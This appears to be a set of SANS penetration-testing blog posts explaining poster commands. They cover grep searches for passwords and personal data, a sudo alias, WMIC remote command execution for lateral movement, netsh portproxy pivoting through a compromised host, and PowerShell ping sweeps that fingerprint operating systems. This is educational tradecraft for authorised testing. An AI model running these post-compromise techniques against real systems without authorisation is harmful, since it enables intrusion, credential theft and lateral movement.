3. {}\; - When using -exec the '{}' will be replaced by the currently found file. Note that the ending ';' needs to be escaped with the ‘\’ character.

 

That was a lot of output, if we just want to see which files contained what we were grepping for we can modify our grep command with the -l flag to list the file instead of the matching line:

 

find with grep to quickly identify files of interest:
find /home -iname "*.txt" 2>/dev/null -exec grep -li 'pass' {} \;

findjuicy05Not perfect but much easier to see which files might contain the information we want

 

What about if we wanted to search for something a bit more specific than just the phrase ‘pass’ in a file? Well with -exec and egrep we can search for any content that we can make a regex for. How about checking for email addresses?

 

find with egrep to quickly identify files of interest using regular expressions:
find /home -iname "*.txt" 2>/dev/null -exec egrep -li "^.+@.+$" {} \;

findjuicy06

Note: grep -E could be used instead of egrep

 

We can use the cat command to explore the contents of each of these files, and grep -C # to filter for a certain number of lines above and below the desired string. This technique is extremely helpful when searching for contextual information that may not be on the exact same line as our search filter.

Browsing through regular expression sites like http://www.regexlib.com/ can lead to some useful expressions to help us find all sorts of things like email addresses, social security numbers, md5 hashes, UUIDs, phone numbers, and credit card numbers.

NOTE: Some of this information can be highly privileged (especially based on host nation privacy restrictions). Accessing PII and HIPAA information from third party systems can lead to accreditation and compliance troubles. Please exercise caution and seek legal advice where appropriate.

When your ROEs, scope, and plan are solid, happy hacking!

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – Bash – Sudo… Make Me a Sandwich

Board Elements_clean_SudoGǪ Make Me a Sandwich

By Matthew Toussain, Geoff Pamerleau

sudo_makemeasandwich_01

 

The other day, while working on setting up a new virtual machine for testing purposes, I ran the following command to get my networking configured ifconfig enp0s8 down only to be greeted with the following:

 

sudo_makemeasandwich_02

 

GAH! Why do I need root privileges to bring up or down an interface? Why do I need to be root in order to use dhclient to get assigned an IP address via DHCP? Sigh. Well it’s no big issue, I just ran sudo !! to run the last command but this time as root. Ok, that was easy enough. To be honest, accidently running a command without sudo happens more often than I’d like to admit. To make life easier, and to save a few keystrokes in the long run, it can pay dividends to make an alias that will do the equivalent of sudo !!

 

Command Breakdown

alias gah='sudo $(history -p \!\!)'

1. alias - Bash feature that allows us to map a string to a simple command
2. gah - The name of the alias that we are creating
3. ='COMMAND' - What to do when we run gah on the command line. Command defined between single quotes
4. sudo - Command that will allows us to execute the following command as a different user
5. $(history -p \!\!) - Bash evaluated expression that will print out the last command that was run and all supplied arguments.

 

Now when I try to bring the interface back up and forget to use sudo I can just type gah in frustration:

sudo_makemeasandwich_03

 

To make this more permanent I added it to the .bashrc file in my home directory (~/.bashrc) so that it will be available whenever I pull up a terminal.

 

sudo_makemeasandwich_04

One useful alias down… maybe I should finally get around to adding one for gerp=’grep’?

 

While we’re talking productivity, along the same track as the !! operator in bash (repeat the previous command) is: bash_history.

sudo_makemeasandwich_05

The history command lists previous commands, executed commands by number, and can be referenced by running !# to rerun any previous command. This can be extremely useful when scripting in shorthand. For instance, I recently put together an auto upload unpacker script for a webpack and nodejs website we were building. The resulting command was:

rm -rf site.bak/*;cp ndist.tar.gz dist.tar.gz; mv * site.bak/;mv site.bak/wordpress/ ./;cp site.bak/dist.tar.gz ./;tar -xvf dist.tar.gz ;mv dist/* ./;mv site.bak/unpack.sh ./;chmod -R 555 /var/www/site.com/; chmod -R 700 /var/www/site.com/wordpress/;chown -R www-data /var/www/site.com/;rm -rf dist/; rm -rf ndist.tar.gz

But I’d already run each of these commands individually and was looking to compile them into a single bash script. To accomplish that with history I ran this:

echo “rm -rf site.bak/*;!1804; !1805;!1806;!1807;!1756; !1757;!1808;!1809;!1810;!1811;!1812” > unpack.sh && chmod +x unpack.sh

 

Now all I have to do to unpack a new build of the site is run:

./unpack.sh

 

Another great feature of history is its text matching. For instance, I frequently log into my blog’s VPS to tinker. Rather than type out the full ssh command I can execute !ssh. This will run the most recent command in my bash_history beginning with ssh.
sudo_makemeasandwich_06

 

In the above case this could be shortened further to !ss or even !s presuming that the most recent history entry starting with the letter s is the desired command. Endless productivity through bash!

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – CMD.exe – C:\> wmic process

Board Elements_clean_CMD.exe KUNG-FU! 4

By Matthew Toussain, Grant Curell

 

If Windows Management Instrumentation (WMI) is the Matrix then its console (WMIC) is Neo.

wmic_01

 

WMI is the Microsoft variant of Web Based Enterprise Management (WBEM) and Common Information Model (CIM). Essentially, it forms the connective tissue that defines application specific characteristics to enable cohesive interactivity between systems from differing sources. For the information security practitioner, WMI provides a mechanism to query an underlying system with a massive amount of capability and information built in. In this post we explore the robust set of features available within WMIC.

 

Methods Covered in this Section

wmic to get a full listing of the running processes:

wmic process list full

wmic print to a HTML formatted list of processes:

wmic /output:wmic.html process list full /format:hform

wmic query running services:

sc query type= service

wmic startup programs:

wmic startup list brief

wmic remote command execution:

wmic /node:10.0.0.1 /user:Administrator process call create "cmd.exe /c calc.exe"

 

The wmic process list full command displays all the information available for a process. Output data here is substantial and frequently overwhelming. Here is what the output (for one process) looks like:

 

wmic to get a full listing of the running processes:
wmic process list full

wmic_02

From the information listed, the key fields that may require additional investigation include:

 

1. CommandLine - If run with any options, for example nc -l -p 4444, it would appear here.
2. ExecutablePath - This is where the binary executes from
3. ParentProcessId - At times there may be a child/parent relationship which may be exploited
4. ProcessId - The PID of the process

 

Process list full provides an excessive amount of data. Data handling is advised. Consider leveraging more or storing stdout into a text file:

wmic process list full | more

wmic process list full > output.txt

It is also possible to format wmic output as HTML:

wmic print to a HTML formatted list of processes:
wmic /output:wmic.html process list full /format:hform

wmic_03

 

Command Breakdown

wmic process list full

1. wmic - Windows Management Instrumentation Command-Line
2. process - WMIC can work with virtually all aspects of a system. This tutorial only covers processes, but WMIC displays a full list of potential objects with wmic /?
3. list - List all of the processes within the process object
4. full - List all aspects of the process. Different display options are available including brief, instance, IO, and many others. 
Each displays a different subset of process information.

 

wmic /output:wmic.html process list full /format:hform

1. /output:wmic.html - Print the output of WMIC to an HTML file
2. /format:hform - Options include table, list, csv, xml, htable, and hform. hform prints the WMIC output in HTML format.

 

Bonus – Services, Autoruns, and Remote Command Execution, oh my!

Wmic is a critical component in any information security professional’s bag of tricks, and we would be remiss not to discuss some of its extended features. For instance, a particularly useful technique for detecting network intrusions is to target common persistence mechanisms utilized by threat actors. Wmic can be used to quickly identify applications that run on system reboot.

wmic startup programs:
wmic startup list brief

wmic_04

 

wmic remote command execution:
wmic /node:10.0.0.1 /user:Administrator process call create "cmd.exe /c calc.exe"

 

Finally, when moving laterally, wmic provides a tried and true method for leveraging network credentials to perform remote command execution and establish sessions on an endless stream of hosts. In this fashion, wmic functions much like psexec, but it has the added benefit of existing by default on all windows operating systems from Windows Me and NT onwards.

 

Conclusion

WMIC is a great tool for moving within and manipulating the environment with native capability. Not only is it incredibly powerful, but will likely draw less attention than many other more distinct and well known pentesting tools. Only the shallowest depths of its functionality are explored here, but the potential is nearly endless. Try, explore, and learn!

 

Print Your Own:

Get all of the CMD.exe tips from the SANS Pen Test Poster: “White Board of Awesome Command Line Kung-Fu!”

Board Elements_fung-fu

PDF: http://blogs.sans.org/pen-testing/files/2017/03/Board-Elements_fung-fu.pdf

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – CMD.exe – C:\> netsh interface

Board Elements_clean_CMD.exe KUNG-FU! 2

By Matthew Toussain, Grant Curell

 

The pivot. Many intrusion campaigns follow a similar modus operandi. Attack the publicly available DMZ. Gain access to an initial target and leverage that access to pivot into the internal network. Now seize the objective. On Linux systems, Secure Shell (ssh) natively supports socks proxying. We can use this to bounce our tools off of a compromised host. This has two powerful use cases: attribution and pivoting. In the first case, sophisticated attackers and nation state threats often hop through an infrastructure of pre-compromised hosts to hide their true source or to perform misattribution (framing someone else for your attack). For penetration testers the latter use case, pivoting, tends to prove more useful. Specifically, leveraging an attack beachhead to further an ongoing intrusion campaign is standard and essential tradecraft. As mentioned on Linux this is often quite simple, but what about Windows?

 

Pivoting through Windows is often accomplished through specialized tunneling applications. Pivoting and port forwarding, for instance, are capabilities built directly into the popular Metasploit meterpreter. Nevertheless, more advanced attackers often rely on native system components in order to evade detection. In this post we will examine inherent Windows mechanisms to accomplish network pivoting.

 

Methods Covered in this Section:

netsh IPv4 to IPv6 port conversion for a remote computer:

netsh interface portproxy add v4tov6 listenport=8888 listenaddress=0.0.0.0 connectport=80 connectaddress=2000::1:215:5dff:fe01:247

netsh IPv4 port to another IPv4 port on the same host:

netsh interface portproxy add v4tov4 listenport=9999 listenaddress=0.0.0.0 connectport=445 connectaddress=192.168.1.112

netsh ipconfig:

netsh interface ipv4 show addresses

 

The network shell or netsh is a Windows command-line utility that was included in Microsoft operating systems beginning with Windows 2000. Its focus is command-line configuration of network utilities, but netsh encompasses a wide range of dynamic functions.

 

The Netsh Interface Portproxy provides command-line connection proxying between systems with direct IPv4 to IPv6 translation built in. This sounds a bit like tunneling, right? It is, from the DMZ host execute:

 

netsh IPv4 to IPv6 port conversion for a remote computer:

netsh interface portproxy add v4tov6 listenport=8888 listenaddress=0.0.0.0 connectport=80 connectaddress=2000::1:215:5dff:fe01:247

 

Now that we have a proxy established on our beachhead, all traffic directed to the compromised host on port 8888 is redirected over IPv6 to the internal target on port 80. Connecting to the DMZ target on port 8888 with our web browser reveals a web application running on the internal target.

netsh_interface_01

 

Command Breakdown

On pivot location:

netsh interface portproxy add v4tov6 listenport=8888 listenaddress=0.0.0.0 connectport=445 connectaddress=2000::1:21f7:fe55:df97:375e

1. netsh - Command line tool for manipulating network interfaces
2. interface - Allows a user to manipulate an interface’s contexts (TCP/IP v4/6)
3. portproxy - Establishes a proxy between IPv4 and IPv6 networks and applications.
4. add - Adds an interface to the machine
5. v4tov6 - Translate received IPv4 traffic to IPv6
6. listenport - port to listen on
7. listenaddress - address to listen on
8. connectport - port to connect to
9. connectaddress - address to connect to

 

Netsh also allows a user to forward traffic within the same host. This may be helpful in the case of NAT where a firewall device permits one port inbound but you need to target a service listening on another port. This case often exists in the case of DMZ webservers where HTTP (port 80) is allowed inbound, but traffic from the MySQL or MSSQL databases (port 3306/1433) is restricted.

 

netsh IPv4 port to another IPv4 port on the same host:
netsh interface portproxy add v4tov4 listenport=9999 listenaddress=0.0.0.0 connectport=445 connectaddress=172.16.1.101

 

To verify that the portproxy is performing correctly we can Nmap port 9999 and observe the SMB (port 445) response traffic. Nice!

netsh_interface_02

 

Bonus – Netsh ipconfig

The Windows ipconfig command provides network interface configuration details, but not always in the most convenient fashion. Netsh provides an alternative method.

 

netsh ipconfig:
netsh interface ipv4 show addresses

netsh_interface_03

 

Additionally, netsh also provides a remote administration functionality if the Windows Remote Registry Service is running.

 

Anywhere with IP reachability to target machine:

netsh -r 192.168.1.103 -u entsim\administrator -p P@ssw0rd!

 

-r - The remote machine to connect to
-u - An administrator’s username
-p - password

 

If netsh successfully connects, users may use an interactive netsh prompt to work with netsh as if they had shell on the target!

 

Print Your Own:

Get all of the CMD.exe tips from the SANS Pen Test Poster: “White Board of Awesome Command Line Kung-Fu!”

Board Elements_fung-fu

PDF: http://blogs.sans.org/pen-testing/files/2017/03/Board-Elements_fung-fu.p

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Pen Test Poster: “White Board” – PowerShell – Ping Sweeper!

Board Elements_clean_Ping Sweeper!

By Matthew Toussain, Grant Curell

 

Introduction

You may be shocked to find how often you don’t have the right tool for the job. Fortunately, with a hammer everything looks like a nail, and with PowerShell… Well we’ll just have to make do. This post will dive into a number of techniques geared towards hammering out network enumeration with PowerShell for those situations when Nmap is not available. Once on network, the first step attackers need to make before they can move laterally is to determine what exactly is out there. While importing tools might be an option, depending on your level of access, operating environment, and goals, PowerShell is an inherent component of Windows that we can use to operate more efficiently and covertly.

pingsweeper_01

 

Methods Covered in this Section

PS ping sweeper:

1..255 | % {echo “192.168.1.$_”; ping -n 1 -w 100 192.168.1.$_} | Select-String ttl

PS command metrics:

Measure-Command {}

PS parallel ping sweeper:

workflow ParallelSweep { foreach -parallel -throttlelimit 4 ($i in 1..255) {ping -n 1 -w 100 10.0.0.$i}}; ParallelSweep | Select-String ttl

PS multi-subnet ping sweeper with OS Detection:

0..10 | % { $a = $_; 1..255 | % { $b = $_; ping -n 1 -w 10 "10.0.$a.$b" | select-string TTL | % { if ($_ -match "ms") { $ttl = $_.line.split('=')[2] -as [int]; if ($ttl -lt 65) { $os = "Linux" } ElseIf ($ttl -gt 64 -And $ttl -lt 129) { $os = "Windows" } else { $os = "Cisco"}; write-host "10.0.$a.$b OS: $os"; echo "10.0.$a.$b" >> scan_results.txt }}} }

PS test egress filtering:

1..1024 | %{echo ((new-object Net.Sockets.TcpClient).Connect("allports.exposed",$_)) "Port $_ is open" } 2>$null

 

Because of object pipelining in PowerShell, implementing a simple ping sweep utility is quick and easy.

PS ping sweeper:

1..255 | % {echo “192.168.1.$_”; ping -n 1 -w 100 192.168.1.$_} | Select-String ttl

pingsweeper_02

 

This command attempts to ping each IP address in the loop in sequence. It filters out IPs which do not respond with the | Select-String cmdlet thereby only displaying lines that include the text “TTL”.

 

Command Breakdown

1..255 | % {echo “192.168.1.$_”; ping -n 1 -w 100 192.168.1.$_} | Select-String ttl

1. 1..255 - Produce a list of numbers from 1 to 255
2. | - Pass each number as an object into the loop
3. % - The % operator in PowerShell is an alias for foreach-object, and is used to start a loop. 
The loop executes the content between {} in sequence
4. echo “192.168.1.$_”; - Prints out the IP address. $_ is a variable that means current object. 
The current object relates to number (1..255) that the loop is currently on.
5. ping - Packet internet groper utility tests for ICMP connectivity between two nodes.
6. -n 1 - The number of pings to send manual set to stop after 1
7. -w 100 - Number of milliseconds to wait before timeout. 
This may need to be adjusted depending on the latency of the target environment
8. 192.168.1.$_ - The IP address to ping
9. | Select-String ttl - Pipe all output from the loop into Select-String.
Filters all lines not having ttl in them.

 

Using a feature added into PowerShell versions 3.0 and newer, the workflow, we can parallelize the ping sweep in order to make it run substantially faster.

PS command metrics:
Measure-Command {}

pingsweeper_03

By way of the parallelized execution demonstrated below, the ping sweeper is able to enumerate the network an increased rate. While limited to 4 parallel threads, we achieved results that were 62% faster than single-threaded. Spawning additional threads could increase enumeration speed even farther.

PS parallel ping sweeper:
workflow ParallelSweep { foreach -parallel -throttlelimit 4 ($i in 1..255) {ping -n 1 -w 100 10.0.0.$i}}; ParallelSweep | Select-String ttl

pingsweeper_04

 

That one line of Powershell does the following:

1. Declares a workflow called ParallelSweep which executes a ping sweep limited to 4 simultaneous threads
2. Sweeps through a CIDR /24 range of addresses
3. Calls the workflow and filters out any response which does not have TTL in it

 

Command Breakdown

workflow ParallelSweep { foreach -parallel -throttlelimit 4 ($i in 1..255) {ping -n 1 -w 100 10.0.0.$i}}; ParallelSweep | Select-String ttl

1. workflow ParallelSweep {} - Declare a workflow called Parallel-Sweep
2. foreach - Begin a loop
3. -parallel - Parallelize execution of loop
4. -throttlelimit 4 - Limit # of concurrent threads to 4
5. ($i in 1..255) - Run loop 1 through 255 times
6. ping -n 1 -w 100 10.0.0.$i - Ping IP address
7. ParallelSweep - Call the workflow ParallelSweep
8. | Select-String ttl - Filter the output of Parallel-Sweep. Only print lines containing “ttl”

 

Bonus Command – Multi-Subnet ping sweeper with OS detection

On a recent assessment, we gained access to the internal environment, but were limited to software already installed on a Windows laptop. This environment utilized a large address space to cloak its limited number of clients. We could have implemented the PowerShell ping sweepers above, and manually adjusted the value in the third octet each time we finished sweeping a class C address space. Instead we used a multi-subnet sweeper to build a report of accessible hosts overnight. In the morning we had all the targets we could ever hope for. You can even accomplish very rudimentary OS fingerprinting by evaluating TTL values to aid in triaging attack targets.

PS multi-subnet ping sweeper with OS detection:
0..10 | % { $a = $_; 1..255 | % { $b = $_; ping -n 1 -w 10 "10.0.$a.$b" | select-string TTL | % { if ($_ -match "ms") { $ttl = $_.line.split('=')[2] -as [int]; if ($ttl -lt 65) { $os = "Linux" } ElseIf ($ttl -gt 64 -And $ttl -lt 129) { $os = "Windows" } else { $os = "Cisco"}; write-host "10.0.$a.$b OS: $os"; echo "10.0.$a.$b" >> scan_results.txt }}} }

pingsweeper_05

Conclusion

There are many ways to extend these simple scripts to glean even more information about the network. These alone are a great way to begin exploring a network after gaining an initial foothold. These techniques prove especially useful during target identification in post compromise scenarios.

Matthew Toussain
https://twitter.com/0sm0s1z

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02